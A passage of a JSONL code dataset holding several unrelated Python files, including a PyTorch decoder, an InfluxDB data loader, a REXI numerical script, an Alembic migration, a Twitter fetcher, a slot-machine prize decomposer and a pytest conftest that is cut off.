\"C\", or \"D\". \n# \n# \n# \n# DEFINITION\n# Class:Education\n# Method:minimize\n# Parameters:string, tuple (integer)\n# Returns:integer\n# Method signature:def minimize(self, desire, tests):\n# \n# \n# CONSTRAINTS\n# -desire will be \"A\", \"B\", \"C\", or \"D\"\n# -tests will contain between 0 and 20 elements inclusive.\n# -Each element of tests will be between 0 and 100 inclusive.\n# \n# \n# EXAMPLES\n# \n# 0)\n# \"A\"\n# {0,70}\n# \n# Returns: -1\n# \n# \n# \n# Even a perfect 100 on the last test will only produce an average score of\n# 56.66 so it is not possible to earn an A.\n# \n# \n# \n# 1)\n# \"D\"\n# {100,100,100,100,100,100}\n# \n# Returns: 0\n# \n# \n# Nice scores! Even the worst possible score of 0 will give an average of 85.7\n# earning a B which satisfies your meager desire.\n# \n# \n# 2)\n# \"B\"\n# {80,80,80,73}\n# \n# Returns: 87\n# \n# \n# \n# An 87 added to these scores will just exactly improve your average from 78.25 to 80.\n# \n# \n# 3)\n# \"B\"\n# {80,80,80,73,79}\n# \n# Returns: 88\n# \n# 4)\n# \"A\"\n# {80}\n# \n# Returns: 100\n# \n# END KAWIGIEDIT TESTING\n#Powered by KawigiEdit-pf 2.3.0!\n","sub_path":"Education.py","file_name":"Education.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"141965055","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\nfrom libs.model.encoder import Block, SeparableConv3d, Norm_layer\n\n\nclass Conv3D(nn.Module):\n def __init__(self, inplanes, planes, kernel_size=3, padding=1, stride=1,\n norm_layer=None):\n super(Conv3D, self).__init__()\n self.conv = SeparableConv3d(\n inplanes, planes, kernel_size, padding, 1, 1)\n self.norm = Norm_layer(norm_layer, planes)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x):\n x = self.conv(self.relu(x))\n x = self.norm(x)\n return x\n\n\nclass Decoder(nn.Module):\n def __init__(self, num_classes, filters, reps, strides, norm_layer):\n super(Decoder, self).__init__()\n self.normalization = norm_layer\n self.strides = strides\n blocks = []\n combination = []\n # breakpoint()\n for i in reversed(range(2, len(filters))):\n combination.append(Conv3D(\n filters[i], filters[i - 1], 3, 1, 1, norm_layer))\n blocks.append(Block(\n filters[i - 1], filters[i - 1], reps[i - 1], 1, 1, norm_layer))\n\n combination.append(Conv3D(\n filters[1], filters[0], 3, 1, 1, norm_layer))\n self.combination = nn.ModuleList(combination)\n self.blocks = nn.ModuleList(blocks)\n self.final = nn.Conv3d(\n filters[0], num_classes, kernel_size=1, padding=0, bias=False)\n self._init_weights()\n\n def forward(self, x):\n x_ = x.pop()\n num = len(self.strides) - 1\n for idx, (i, j) in enumerate(zip(self.blocks, self.combination)):\n x_ = j(x_)\n x_ = F.interpolate(\n input=x_, scale_factor=self.strides[num - idx],\n mode='trilinear', align_corners=True)\n x_ += x.pop()\n x_ = i(x_)\n x_ = self.combination[-1](x_)\n x_ = F.interpolate(\n input=x_, scale_factor=self.strides[0],\n mode='trilinear', align_corners=True)\n x = self.final(x_)\n return x\n\n def _init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv3d):\n m.weight = nn.init.kaiming_normal_(m.weight, a=1e-2)\n if m.bias is not None:\n m.bias = nn.init.constant_(m.bias, 0)\n elif isinstance(m, self.normalization):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n","sub_path":"libs/model/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11452934","text":"\n# -*- coding: utf-8 -*-\nfrom pathlib import Path\n\nimport sys\nimport os\nimport re\nimport glob\nimport json\nimport getopt\nfrom datetime import datetime, date, time, timedelta\nfrom influxdb import InfluxDBClient\nfrom collections import defaultdict\n\n\ndef create_entry(meas_name, timestamp, raw_json_obj, tags_list, fields_list):\n entry = {\n \"measurement\": meas_name,\n \"time\": timestamp,\n \"tags\": {},\n \"fields\": {},\n }\n\n # populate tags\n for t in tags_list:\n if t in raw_json_obj:\n entry['tags'][t] = raw_json_obj[t]\n else:\n entry['tags'][t] = \"\"\n\n # populate fields\n for f in fields_list:\n if f in raw_json_obj:\n # print f,type(raw_json_obj[f])\n if type(raw_json_obj[f]) is dict or type(raw_json_obj[f]) is list:\n entry['fields'][f] = json.dumps(raw_json_obj[f])\n else:\n if f is 'longitude' or f is 'latitude':\n entry['fields'][f] = float(raw_json_obj[f])\n elif f is 'region':\n entry['fields'][f] = str(raw_json_obj[f])\n elif f is 'degree_global':\n entry['fields'][f] = int(raw_json_obj[f])\n else:\n entry['fields'][f] = raw_json_obj[f]\n\n return entry\n\n\ndef open_file(filename):\n try:\n return open(filename, \"r\")\n except IOError as e:\n sys.stderr.write(e)\n exit(1)\n\n\ndef batch_write(points_list, client):\n # print points_list[0]\n count = 0\n write_list = []\n while count < len(points_list):\n write_list.append(points_list[count])\n count += 1\n if count % 5000 == 0:\n client.write_points(write_list)\n # print \"hit mod 0\",len(write_list)\n write_list = []\n\n # print \"remnant\",len(write_list)\n client.write_points(write_list)\n\n\ndef main():\n path = '/home/baitaluk/projects/asrank/data/'\n client = InfluxDBClient('127.0.0.1', 8086, 'asrankuser', 'rankas', 'asrank', ssl=False, verify_ssl=False)\n\n for root, subdirs, files in os.walk(path):\n for subdir in subdirs:\n print(\"Process <{}>\".format(subdir))\n timestamp = subdir\n DEBUG = False\n monfn = None\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hdt:\", [\"help\", \"debug\", \"timestamp\"])\n except getopt.GetoptError as err:\n print(err)\n sys.exit(1)\n\n for o, a in opts:\n if o in (\"-h\", \"--help\"):\n #usage()\n sys.exit(2)\n elif o in (\"-d\", \"--debug\"):\n DEBUG = 1\n elif o in (\"-t\", \"--timestamp\"):\n timestamp = a\n else:\n assert False, \"unhandled option\"\n\n datapath = path + timestamp\n\n d = datetime.strptime(timestamp, \"%Y%m%d\")\n influx_t = int((d - datetime(1970, 1, 1)).total_seconds()) * 1000000000\n\n dataset_info_v4_tags = []\n dataset_info_v4_fields = ['dataset_id', 'date', 'clique', 'number_addresses', 'sources', 'asn_ixes',\n 'asn_reserved_ranges', 'asn_assigned_ranges', 'number_asnes', 'address_family',\n 'number_organizes', 'number_prefixes', 'number_addresses']\n\n asn_info_v4_tags = ['asn', 'org_id']\n asn_info_v4_fields = ['asn_name', 'org_name', 'source', 'latitude', 'longitude',\n 'country', 'rank', 'customer_cone_addresses', 'customer_cone_asnes',\n 'customer_cone_prefixes', 'degree_transit', 'degree_provider',\n 'degree_sibling', 'degree_customer', 'degree_peer', 'degree_global']\n\n asn_rel_v4_tags = ['asn', 'org_id', 'neighbor']\n asn_rel_v4_fields = ['asnf', 'relationship', 'neighbor_rank', 'number_paths', 'locations', 'ts']\n\n asn_cone_v4_tags = ['asn']\n asn_cone_v4_fields = ['cone', 'in_cone']\n\n org_info_v4_tags = ['org_id']\n org_info_v4_fields = ['oid', 'org_name', 'country', 'members', 'number_members', 'rank',\n 'customer_cone_asnes', 'customer_cone_orgs', 'customer_cone_addresses',\n 'customer_cone_prefixes', 'org_transit_degree', 'org_degree_global',\n 'asn_degree_transit', 'asn_degree_global']\n\n locations_tags = ['lid']\n locations_fields = ['city', 'country', 'region', 'continent', 'latitude', 'longitude', 'population']\n\n # dicts to store the org and rank of each ASN\n as2org = {}\n as2rank = {}\n\n json_body = []\n\n datasetfn = datapath + \"/\" + timestamp + \".dataset.jsonl\"\n DATASET = open_file(datasetfn)\n for line in DATASET:\n dataset_obj = json.loads(line.strip())\n entry = create_entry(\"dataset_info_v4\", influx_t, dataset_obj, dataset_info_v4_tags, dataset_info_v4_fields)\n json_body.append(entry)\n # print entry\n DATASET.close()\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n json_body = []\n\n asnfn = datapath + \"/\" + timestamp + \".asns.jsonl\"\n ASN = open_file(asnfn)\n for line in ASN:\n asn_obj = json.loads(line.strip())\n entry = create_entry(\"asn_info_v4\", influx_t, asn_obj, asn_info_v4_tags, asn_info_v4_fields)\n\n # populate info that will be required by other structures\n t_asn = asn_obj['asn']\n as2org[t_asn] = asn_obj['org_id'] if 'org_id' in asn_obj else \"\"\n as2rank[t_asn] = asn_obj['rank'] if 'rank' in asn_obj else None\n\n json_body.append(entry)\n # print entry\n ASN.close()\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n json_body = []\n\n orgfn = datapath + \"/\" + timestamp + \".orgs.jsonl\"\n ORG = open_file(orgfn)\n for line in ORG:\n org_obj = json.loads(line.strip())\n org_obj['oid'] = org_obj['org_id']\n entry = create_entry(\"org_info_v4\", influx_t, org_obj, org_info_v4_tags, org_info_v4_fields)\n # print entry\n json_body.append(entry)\n ORG.close()\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n json_body = []\n\n locfn = datapath + \"/\" + timestamp + \".locations.jsonl\"\n LOC = open_file(locfn)\n for line in LOC:\n loc_obj = json.loads(line.strip())\n entry = create_entry(\"locations\", influx_t, loc_obj, locations_tags, locations_fields)\n # print entry\n json_body.append(entry)\n LOC.close()\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n json_body = []\n\n conefn = datapath + \"/\" + timestamp + \".asn_cones.jsonl\"\n cone = {}\n in_cone = defaultdict(list)\n CONES = open_file(conefn)\n for line in CONES:\n cone_obj = json.loads(line.strip())\n t_asn = cone_obj['asn']\n cone[t_asn] = cone_obj['cone']\n for a in cone_obj['cone']:\n in_cone[a].append(t_asn)\n CONES.close()\n\n for a in cone:\n cone_obj = {'cone': cone[a],\n 'in_cone': in_cone[a],\n 'asn': a\n }\n entry = create_entry(\"asn_cone_v4\", influx_t, cone_obj, asn_cone_v4_tags, asn_cone_v4_fields)\n json_body.append(entry)\n # print entry\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n json_body = []\n\n # asn_rel_v4 has to be built using the links.jsonl file and\n # info from the asns.jsonl file\n relfn = datapath + \"/\" + timestamp + \".links.jsonl\"\n REL = open_file(relfn)\n for line in REL:\n rel_obj = json.loads(line.strip())\n rel_obj['org_id'] = as2org[int(rel_obj['asn0'])]\n rel_obj['neighbor'] = rel_obj['asn1']\n rel_obj['neighbor_rank'] = as2rank[int(rel_obj['asn1'])]\n rel_obj['asn'] = rel_obj['asn0']\n rel_obj['asnf'] = rel_obj['asn0']\n rel_obj['ts'] = datetime.now().timestamp()\n entry = create_entry(\"asn_rel_v4\", influx_t, rel_obj, asn_rel_v4_tags, asn_rel_v4_fields)\n json_body.append(entry)\n # print entry\n REL.close()\n # print \"number of points\",len(json_body)\n batch_write(json_body, client)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/aii.py","file_name":"aii.py","file_ext":"py","file_size_in_byte":9620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"8021332","text":"#! /usr/bin/env python3\n\n#\n# Author: Martin Schreiber\n# Email: M.Schreiber@exeter.ac.uk\n# Date: 2017-06-17\n#\n\n\nimport sys\nimport math\nimport cmath\nfrom FAFCoefficients import *\nfrom FAFFunctions import *\nfrom REXIGaussianPhi0 import *\nimport EFloat as ef\n\n\nclass REXIGaussianPhi0:\n\n\tdef __init__(\n\t\t\tself,\n gaussphi0_N,\t# required argument\n gaussphi0_basis_function_spacing,\t# required argument\n\n\t\t\tfloatmode = None\n\t):\n\t\tself.efloat = ef.EFloat(floatmode)\n\n\t\tself.h = self.efloat.to(gaussphi0_basis_function_spacing)\n\t\tself.M = int(gaussphi0_N)\n\n\t\tself.b = [self.efloat.exp(self.h*self.h)*self.efloat.exp(-1j*(float(m)*self.h)) for m in range(-self.M, self.M+1)]\n\n\t\t# Generate dummy Gaussian function\n\t\tfafcoeffs = FAFCoefficients()\n\t\tfafcoeffs.function_name = 'gaussianorig'\n\t\tfafcoeffs.function_scaling = self.efloat.to(1.0)\n\n\t\tself.gaussian_fun = FAFFunctions(fafcoeffs)\n\n\n\tdef output(self):\n\t\tfor i in self.b:\n\t\t\tprint(i)\n\n\n\tdef fun(\n\t\tself,\n\t\ti_x\n\t):\n\t\treturn self.efloat.exp(self.efloat.i*i_x)\n\n\n\tdef approx_fun(\n\t\tself,\n\t\ti_x\n\t):\n\t\trsum = 0\n\n\t\ti_x = self.efloat.to(i_x)\n\n\t\t# \\f$ \\sum_{m=-M}^{M}{b_m \\psi_h(x+m*h)} \\f$\n\t\tfor m in range(-self.M, self.M+1):\n\t\t\tx = i_x + self.efloat.to(m)*self.h\n\t\t\tx = x/self.h\n\t\t\trsum += self.b[m+self.M] * self.gaussian_fun.fun_run(x)\n\n\t\treturn rsum\n\n\n\n\tdef runTests(self):\n\t\tmaxerror = 0\n\n\t\th = self.h\n\t\tM = self.M\n\t\tprint(\"REXIGaussianPhi0:\")\n\t\tprint(\"h: \"+str(h))\n\t\tprint(\"M: \"+str(M))\n\t\tprint(\"error\")\n\t\tfor x in range(-int(h*M-self.efloat.pi*0.5), int(h*M-self.efloat.pi*0.5)):\n\t\t\ta = self.efloat.re(self.fun_re(x))\n\t\t\tb = self.efloat.re(self.approx_fun(x))\n\n\t\t\te = abs(a-b)\n\t\t\t#print(\"Error at \"+str(float(x))+\": \"+str(float(e)))\n\t\t\tmaxerror = max(e, maxerror)\n\n\t\tprint(\"Max error: \"+str(maxerror))\n\t\tprint(\"Max error (float): \"+str(float(maxerror)))\n\n\n\n\n\nif __name__ == \"__main__\":\n\n\tef.default_floatmode = 'mpfloat'\n\n\t# load float handling library\n\tefloat = ef.EFloat()\n\n\n\t##################################################\n\t##################################################\n\t##################################################\n\n\tprint(\"\")\n\th = 0.1\n\tM = 64\n\n\tprint(\"*\"*80)\n\tprint(\"Approx of Phi0 (Original REXI coefficients)\")\n\tprint(\"*\"*80)\n\tphi0 = REXIGaussianPhi0(\n\t\tgaussphi0_N = M,\n\t\tgaussphi0_basis_function_spacing = h\n\t)\n\n\tphi0.runTests()\n\n\n\n\tprint(\"*\"*80)\n\tprint(\"Approx of Phi0 (Original REXI mu, computed coefficients)\")\n\tprint(\"*\"*80)\n\tphi0 = REXIGaussianPhi0(\n\t\tgaussphi0_N = M,\n\t\tgaussphi0_basis_function_spacing = h,\n\t)\n\n\tphi0.runTests()\n\n\n\n\tprint(\"*\"*80)\n\tprint(\"Approx of Phi0 (With possibly optimized mu)\")\n\tprint(\"*\"*80)\n\tphi0 = REXIGaussianPhi0(\n\t\tgaussphi0_N = M,\n\t\tgaussphi0_basis_function_spacing = h,\n\t)\n\n\tphi0.runTests()\n","sub_path":"frexi_sphere/faf/REXIGaussianPhi0.py","file_name":"REXIGaussianPhi0.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"247620197","text":"import matplotlib.pyplot as plt\n\n'''\n Each series in data is a tuple\n series[0]: series label\n series[1]: series data points\n'''\n\n\ndef graph(title, data):\n plt.figure()\n for series in data:\n has_legend = False\n x = range(1, len(series[1])+1)\n y = series[1]\n if series[0] == '':\n plt.plot(x, y)\n else:\n has_legend = True\n plt.plot(x, y, label=series[0])\n\n plt.xlabel('Generations')\n plt.ylabel('Fitness')\n if has_legend:\n plt.legend()\n plt.title(title)\n\n plt.savefig(f'./plots/{title}', dpi=500)\n plt.clf()\n","sub_path":"assignments/a4/q1/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"526918790","text":"\"\"\"added Profile table to member.models\n\nRevision ID: 2f3438931d8e\nRevises: 129ca3b57215\nCreate Date: 2014-07-11 23:19:56.322169\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '2f3438931d8e'\ndown_revision = '129ca3b57215'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('profiles',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=255), nullable=True),\n sa.Column('last_name', sa.String(length=255), nullable=True),\n sa.Column('phone_number', sa.String(length=20), nullable=True),\n sa.Column('date_added', sa.Date(), nullable=True),\n sa.Column('visits', sa.Integer(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('birth_date', sa.Date(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('profiles')\n ### end Alembic commands ###\n","sub_path":"flask_cms/migrations/2f3438931d8e_added_profile_table_to_member_models.py","file_name":"2f3438931d8e_added_profile_table_to_member_models.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"125790429","text":"import tweepy\nimport os\nfrom kms_decrypt import decrypt_key\n\n\ndef get_tweet(start, stop=False):\n\n user = \"25073877\"\n\n auth = tweepy.OAuthHandler(\n decrypt_key(os.environ[\"TWITTER_CONSUMER_KEY\"]),\n decrypt_key(os.environ[\"TWITTER_CONSUMER_SECRET\"]),\n )\n auth.set_access_token(\n decrypt_key(os.environ[\"TWITTER_ACCESS_TOKEN\"]),\n decrypt_key(os.environ[\"TWITTER_TOKEN_SECRET\"]),\n )\n\n api = tweepy.API(auth)\n\n public_tweets = api.user_timeline(\n user_id=user, tweet_mode=\"extended\", include_retweets=False\n )\n tweet_list = []\n for tweet in public_tweets:\n if (not tweet.retweeted) and (\"RT @\" not in tweet.full_text):\n tweet_list.append(tweet.full_text)\n if stop == False:\n return tweet_list[start]\n else:\n return tweet_list[start:stop]\n","sub_path":"twitter_api.py","file_name":"twitter_api.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"357325218","text":"from decimal import Decimal\n\nfrom random import randint\nfrom random import choice\nfrom random import shuffle\n\nfrom slot.exceptions import InvalidBetException\n\n\nclass SlotPrizeDecomposer(object):\n \"\"\"\n Decomposes a whole prize to various slot\n machine reel prizes.\n \"\"\"\n\n def __init__(self, paytable, max_lines):\n \"\"\"\n Initializes slot machine engine.\n @param paytable Paytable class instance.\n \"\"\"\n self.paytable = paytable\n self.max_lines = max_lines\n\n def handle(self, bet, multiplier, lines, force_freespin=False):\n \"\"\"\n Decomposes the prize acoordingly to game\n settings and limitations\n \"\"\"\n # initialize values\n self.bonus = []\n self.freespins = []\n self.prizes = []\n\n # get amount of prizes for the given multiplier\n decomposed = self.decompose(bet, multiplier)\n self.prizes = decomposed[\"prizes\"]\n prize_amount = len(decomposed[\"prizes\"])\n # maximum paylines to be a base game prize\n max_paylines = self.max_lines\n\n # bonus flag\n bonus = False\n\n # triggers bonus in case of unforeseen outcome\n if decomposed[\"exceeded\"] > 1 or multiplier >= Decimal(10.0):\n bonus = True\n # tries to trigger freespins if has many prizes\n elif prize_amount > max_paylines or force_freespin:\n feature = choice([\"freespin\", \"bonus\"])\n if feature == \"freespin\" or force_freespin:\n spin_amount = self.paytable.get_freespins(prize_amount)\n # if cannot handle prize amount with freespins, triggers bonus\n if not spin_amount:\n bonus = True\n else:\n # triggers freespins\n self.freespin_prize(decomposed[\"prizes\"])\n # triggers bonus\n else:\n bonus = True\n\n if bonus:\n self.bonus_prize(multiplier)\n\n return {\n \"prizes\": self.prizes,\n \"freespins\": self.freespins,\n \"bonus\": self.bonus\n }\n\n def decompose(self, bet, multiplier):\n # validate bet level\n if not bet or bet < 0:\n raise InvalidBetException(\"Invalid Bet: {}\".format(bet))\n bet = Decimal(bet)\n multiplier = Decimal(multiplier)\n\n # get list of possible outcome prizes\n values = list(self.paytable.get_prizes_values())\n # sort it descending for decomposition\n values.sort(reverse=True)\n # iterate over prizes until multiplier is depleted\n prizes = []\n for value in values:\n value = value\n # if value is contained in multiplier\n if value * bet <= multiplier:\n # create a prize to be associated to a line\n prize = {\n \"pattern\": self.paytable.get_prize(value).get(\"pattern\"),\n \"won\": Decimal(\"{0:.2f}\".format(value * bet))\n }\n # append prize to list\n prizes.append(prize)\n # decrement multiplier\n multiplier -= Decimal(value) * Decimal(bet)\n return {\n \"prizes\": prizes,\n \"exceeded\": multiplier\n }\n\n def bonus_prize(self, value):\n \"\"\"\n Decomposes a given value into steps of prizes.\n \"\"\"\n bonus = self.paytable.get_bonus()\n if not bonus:\n raise Exception(\"Cannot handle bonus prizes!\")\n parts = []\n total = Decimal(100)\n while total > 0:\n rnd = randint(min(5, total), min(25, total))\n total -= rnd\n parts.append(Decimal(rnd) / 100)\n prizes = []\n for i in parts:\n prizes.append(Decimal(\"%.2f\" % (value * i)))\n self.bonus = prizes\n self.prizes = [bonus]\n\n def freespin_prize(self, prizes):\n \"\"\"\n Decomposes a given value into series of prizes for spins.\n \"\"\"\n # determine amount of spins\n freespin = self.paytable.get_freespins(len(prizes))\n if not freespin:\n raise Exception(\"Cannot handle this amount of spins!\")\n # in case of prizes does not match the amount of freespins\n while len(prizes) < freespin[\"freespins\"]:\n empty_prize = {\n \"pattern\": [],\n \"won\": 0\n }\n prizes.append(empty_prize)\n\n # get the decomposed prize list for each element\n shuffle(prizes)\n self.freespins = prizes\n self.prizes = [freespin]\n","sub_path":"slot/decomposers.py","file_name":"decomposers.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"635047062","text":"# coding=utf8\n\n# Copyright 2018 JDCLOUD.COM\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# NOTE: This class is auto generated by the jdcloud code generator program.\n\n\nclass NoticeOption(object):\n\n def __init__(self, effectiveIntervalEnd=None, effectiveIntervalStart=None, noticeCondition=None, noticePeriod=None, noticeWay=None):\n \"\"\"\n :param effectiveIntervalEnd: (Optional) 生效截止时间,默认值:23:59:59\n :param effectiveIntervalStart: (Optional) 生效起始时间,默认值:00:00:00\n :param noticeCondition: (Optional) 通知条件 1-告警 2-数据不足3-告警恢复\n :param noticePeriod: (Optional) 通知沉默周期,单位:分钟,默认值:24小时,目前支持的取值“24小时、12小时、6小时、3小时、1小时、30分钟、15分钟、10分钟、5分钟”\n :param noticeWay: (Optional) 通知方法 1-短信 2-邮件\n \"\"\"\n\n self.effectiveIntervalEnd = effectiveIntervalEnd\n self.effectiveIntervalStart = effectiveIntervalStart\n self.noticeCondition = noticeCondition\n self.noticePeriod = noticePeriod\n self.noticeWay = noticeWay\n","sub_path":"jdcloud_sdk/services/monitor/models/NoticeOption.py","file_name":"NoticeOption.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"103062390","text":"from utilities import *\nfrom task import Task\n\nclass FrontierEntry(object):\n def __init__(self, program, _ = None, logPrior = None, logLikelihood = None, logPosterior = None):\n self.logPosterior = logPrior + logLikelihood if logPosterior is None else logPosterior\n self.program = program\n self.logPrior = logPrior\n self.logLikelihood = logLikelihood\n def __repr__(self):\n return \"FrontierEntry(program={self.program}, logPrior={self.logPrior}, logLikelihood={self.logLikelihood}\".format(self=self)\n\n\nclass Frontier(object):\n def __init__(self, frontier, task):\n self.entries = frontier\n self.task = task\n\n def __repr__(self): return \"Frontier(entries={self.entries}, task={self.task})\".format(self=self)\n def __iter__(self): return iter(self.entries)\n def __len__(self): return len(self.entries)\n\n DUMMYFRONTIERCOUNTER=0\n @staticmethod\n def dummy(program, logLikelihood=0., logPrior=0.):\n \"\"\"Creates a dummy frontier containing just this program\"\"\"\n\n t = Task(\"<dummy %d: %s>\"%(Frontier.DUMMYFRONTIERCOUNTER, str(program)),\n program.infer().negateVariables(),\n [])\n f = Frontier([FrontierEntry(program=program,\n logLikelihood=logLikelihood,\n logPrior=logPrior)],\n task=t)\n Frontier.DUMMYFRONTIERCOUNTER += 1\n return f\n\n def marginalLikelihood(self):\n return lse([ e.logPrior + e.logLikelihood for e in self ])\n\n def normalize(self):\n z = self.marginalLikelihood()\n newEntries = [ FrontierEntry(program = e.program,\n logPrior = e.logPrior,\n logLikelihood = e.logLikelihood,\n logPosterior = e.logPrior + e.logLikelihood - z)\n for e in self ]\n newEntries.sort(key = lambda e: e.logPosterior, reverse=True)\n return Frontier(newEntries,\n self.task)\n \n def removeZeroLikelihood(self):\n self.entries = [ e for e in self.entries if e.logLikelihood != float('-inf') ]\n return self\n\n def topK(self,k):\n if k <= 0: return self\n newEntries = sorted(self.entries,\n key = lambda e: (-e.logPosterior, str(e.program)))\n return Frontier(newEntries[:k], self.task)\n\n @property\n def bestPosterior(self):\n return min(self.entries,\n key = lambda e: (-e.logPosterior, str(e.program)))\n\n @property\n def empty(self): return self.entries == []\n\n @staticmethod\n def makeEmpty(task):\n return Frontier([], task = task)\n\n def summarize(self):\n if self.empty: return \"MISS \" + self.task.name\n best = self.bestPosterior\n return \"HIT %s w/ %s ; log prior = %f ; log likelihood = %f\"%(self.task.name, best.program, best.logPrior, best.logLikelihood)\n\n @staticmethod\n def describe(frontiers):\n numberOfHits = sum(not f.empty for f in frontiers)\n averageLikelihood = sum(f.bestPosterior.logPrior for f in frontiers if not f.empty) / numberOfHits\n return \"\\n\".join([ f.summarize() for f in frontiers ] + \\\n [ \"Hits %d/%d tasks\"%(numberOfHits,len(frontiers))] + \\\n [ \"Average description length of a program solving a task: %f nats\"%(-averageLikelihood) ])\n\n \n def combine(self, other, tolerance = 0.01):\n '''Takes the union of the programs in each of the frontiers'''\n assert self.task == other.task\n\n foundDifference = False\n \n x = {e.program: e for e in self }\n y = {e.program: e for e in other }\n programs = set(x.keys()) | set(y.keys())\n union = []\n for p in programs:\n if p in x:\n e1 = x[p]\n if p in y:\n e2 = y[p]\n if abs(e1.logPrior - e2.logPrior) > tolerance:\n eprint(\"WARNING: Log priors differed during frontier combining: %f vs %f\"%(e1.logPrior, e2.logPrior))\n eprint(\"WARNING: \\tThe program is\",p)\n eprint()\n if abs(e1.logLikelihood - e2.logLikelihood) > tolerance:\n foundDifference = True\n e1 = FrontierEntry(program = e1.program,\n logLikelihood = (e1.logLikelihood + e2.logLikelihood)/2,\n logPrior = e1.logPrior)\n else:\n e1 = y[p]\n union.append(e1)\n\n if foundDifference:\n eprint(\"WARNING: Log likelihoods differed for the same program on the task %s.\\n\"%(self.task.name),\n \"\\tThis is acceptable only if the likelihood model is stochastic. Took the geometric mean of the likelihoods.\")\n\n return Frontier(union, self.task)\n \n","sub_path":"frontier.py","file_name":"frontier.py","file_ext":"py","file_size_in_byte":5015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"255461625","text":"import pytest\nimport tempfile\nimport os\nimport random\nimport string\nimport blockserver.backend.cache as cache_backends\nfrom blockserver.backend import transfer as transfer_module\n\nfrom glinda.testing import services\nfrom tornado.options import options\n\n\n@pytest.fixture\ndef auth_token():\n return 'Token MAGICFARYDUST'\n\n\n@pytest.fixture\ndef headers(auth_token):\n return {'Authorization': auth_token}\n\n\n@pytest.yield_fixture\ndef testfile():\n with tempfile.NamedTemporaryFile(delete=False) as temp:\n temp.write(b'Dummy\\n')\n yield temp.name\n os.remove(temp.name)\n\n\n@pytest.fixture\ndef service_layer():\n return services.ServiceLayer()\n\n\n@pytest.yield_fixture\ndef auth_server(service_layer):\n prev_auth = options.dummy_auth\n options.dummy_auth = None\n options.dummy_log = False\n dummy_acc = options.accounting_host\n auth = service_layer['auth'] # type: services.Service\n options.accounting_host = 'http://' + auth.host\n yield auth\n options.dummy_auth = prev_auth\n options.dummy_log = True\n options.accounting_host = dummy_acc\n\n\n@pytest.fixture\ndef file_path():\n return '/test/' + ''.join(random.choice(string.ascii_lowercase + string.digits)\n for _ in range(12))\n\n\n@pytest.fixture\ndef auth_path(file_path):\n return '/api/v0/auth' + file_path\n\n\n@pytest.fixture\ndef path(base_url, file_path):\n return base_url + '/api/v0/files' + file_path\n\n\n@pytest.yield_fixture\ndef backend(request, cache):\n switch_to = (request.param == 'dummy')\n before = options.dummy\n options.dummy = switch_to\n if options.dummy:\n transfer.files = {}\n yield\n options.dummy = before\n\n\n@pytest.fixture\ndef cache(request):\n cache_backend = request.param\n if cache_backend == 'dummy':\n cache_object = cache_backends.DummyCache()\n elif cache_backend == 'redis':\n cache_object = cache_backends.RedisCache(host='localhost', port='6379')\n else:\n raise ValueError('Unknown backend')\n cache_object.flush()\n return cache_object\n\n@pytest.yield_fixture()\ndef transfer(request, cache):\n transfer_backend = request.param\n if transfer_backend == 'dummy':\n transfer_module.files = {}\n yield transfer_module.DummyTransfer(cache)\n transfer_module.files = {}\n if transfer_backend == 's3':\n yield transfer_module.S3Transfer(cache)\n\n\ndef pytest_addoption(parser):\n parser.addoption(\"--dummy\", action=\"store_true\",\n help=\"run only with the dummy backend\")\n parser.addoption(\"--dummy-cache\", action=\"store_true\",\n help=\"run only with the dummy cache\")\n\n\ndef pytest_generate_tests(metafunc):\n if 'backend' in metafunc.fixturenames:\n backends = ['dummy']\n if not metafunc.config.option.dummy:\n backends.append('s3')\n metafunc.parametrize(\"backend\", backends, indirect=True)\n if 'transfer' in 